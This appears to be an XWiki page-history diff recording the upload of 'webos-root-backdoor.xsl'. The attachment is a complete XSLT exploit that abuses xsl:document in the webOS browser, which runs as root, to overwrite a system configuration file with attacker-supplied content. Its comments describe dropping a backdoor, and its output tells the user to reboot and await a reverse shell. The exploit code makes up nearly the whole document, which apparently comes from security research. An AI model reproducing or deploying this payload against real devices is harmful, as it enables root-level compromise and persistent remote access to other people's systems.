Changes for page Application_Webkit

Last modified by Nicolas Gregoire on 2012/01/14 17:48

From version

edited by Nicolas Gregoire
on 2012/01/13 23:56

Change comment: There is no comment for this version

To version

edited by Nicolas Gregoire
on 2012/01/13 23:57

Change comment: Upload new attachment webos-root-backdoor.xsl

Summary

webos-root-backdoor.xsl

Author

...	...	@@ -1,0 +1,1 @@
	1	+xwiki:XWiki.NicolasGregoire

Size

...	...	@@ -1,0 +1,1 @@
	1	+816 bytes

Content

@@ -1,0 +1,17 @@
++<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
++  <!-- Of course, the webOS browser runs as 'root' ;-) -->
++  <xsl:template match="/">
++    <!-- Grab some values from the XML file -->
++    <xsl:variable name="content" select="//content/text()"/>
++    <xsl:variable name="location" select="//location/text()"/>
++    <html><body>
++    <!-- Drop the backdoor, overwriting the previous configuration file -->
++    <xsl:document href="{$location}" method="text"><xsl:copy-of select="$content"/></xsl:document>
++    <!-- Display something to the user -->
++    File '<xsl:copy-of select="$location"/>' has been overwritten ...<br/>
++    <!-- Ask for a reboot. We could force it too ... -->
++    Now reboot and wait for your reverse-shell ;-)<br/>
++    </body></html>
++  </xsl:template>
++</xsl:stylesheet>
++